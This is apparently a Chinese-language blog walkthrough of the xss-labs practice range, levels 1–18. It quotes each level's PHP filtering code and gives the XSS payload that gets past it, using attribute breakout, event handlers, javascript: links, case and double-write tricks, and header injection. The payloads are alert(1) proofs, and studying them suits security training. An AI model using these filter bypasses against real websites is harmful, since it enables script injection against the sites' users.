xss-labs 1-18关
打一下xss靶场巩固一下之前学的知识。
在本地搭建靶场下载地址
也可以直接在网上搜别人搭好的靶场。
level-1
根据这上面的提示不难发现注入点在这个url里面直接上payload<script>alert(1)</script>
level-2
直接把第一关payload放上去看一下,发现并没通关,看一下网页源码,可以看到输出payload的h2标签里面把<>进行了HTML实体化,但是看下面input标签里面value值并没有进行实体化而是直接原样返回,所以直接把value闭合就行
"><script>alert(1)</script>
level-3
输入前面的payload,看一下网页源码,发现这一关<>被实体化了,所以可以使用不需要<>payload来进行弹窗,比如HTML事件,直接搜索一个,然后和level-2一样,闭合value,注意这里换成了单引号'onkeydown='alert(1)'
level-4
这一关value值不再是对<>进行实体化,而是进行过滤,所以方法和第三关一样,闭合符换成了双引号,就不再多说了"onkeydown='alert(1)'
level-5
用HTML事件和script都没成功,发现都被替换了,看一下源码
$str = strtolower($_GET["keyword"]);//注意这里strtolower函数把字符串转换为小写,所以不能使用大小写绕过
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
看了一下源码,字符串被转换为小写,但是<> ' "都没有被过滤,那么我们就可以考虑使用伪链接来构建超链接过这一关,注意一下闭合。
"><a href='javascript:alert(1)'>xss</a>
level-6
老规矩先试一下,上一题的payload,发现
href被替换了,可以利用js对大小写敏感进行绕过
"><sCript>alert(1)</scriPt>
level-7
发现script直接被过滤掉了,大小写也不管用,看一下源码,可以使用双写绕过
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
"><sCscriptript>alert(1)</scscriptriPt>
level-8
点击一下友情链接,发现payload会就直接被放在url里面跑,并且对script进行了替换,所以可以去考虑使用js伪协议
用了之后发现不是对script标签进行替换而是对script进行替换,这样的话就可以试试编码绕过,最后使用HTML实体编码成功
javascript:alert('1')
level-9
提示说链接不合法,看了一下源码,会检查输入链接是否含有http://
所以可以把上一关的payload拿过来,加个http://就行,注意要加在后面,并且要隔开
javascript:alert('1')//http://
level-10
先看了一下网页代码,发现并没有可以注入的参数,然后看了一下源码发现还有一个t_sort参数
后面换成t_sort传参发现还不行,搜了一下hidden,他会隐藏这个元素并且不显示它,所以可以把hidden换成text
t_sort=" type="text" onkeydown='alert(1)'
level-11
这一关和之前不同,需要配合bp来对数据包进行修改
从这里可以看出是对referer进行注入,和上题差不多,抓一下包,把referer的值替换成下面的payload
" type="text" onkeydown='alert(1)'
level-12
这关是对user-agent进行注入方法和上关一样,payload也一样
" type="text" onkeydown='alert(1)'
level-13
这关是对cookie进行注入,方法和上关一样payload也一样
" type="text"onkeydown='alert(1)'
level-14
这关图片调用的地址失效了,从源码上看本来应该是利用iframe标签来进行注入。
level-15
这关一上来,并没有发现可利用的点,然后直接看一下源码,发先有个ng-include,搜一下用法
看完之后试了一下,发现依然没有成功,在网上查了一下可能是之前几关使用的HTML事件不适用的原因
?src='level1.php?name=<img src=1 onerror=alert(1)>'
level-16
直接看一下源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
和上面其实差不多,只是空格被替换了,可以用回车编码进行代替
keyword=<img%0dsrc=1%0donerror=alert(1)>
level-17
这关很奇怪,直接插入语句没有语法错误,但没有出现弹窗,网上搜了一下,可能是HTML事件的原因,换了一个事件就有弹窗了,直接在url里上payload。点一下插件的地方就会弹窗
onmousedown='alert(1)'
level-18
payload和上关一模一样
onmousedown='alert(1)'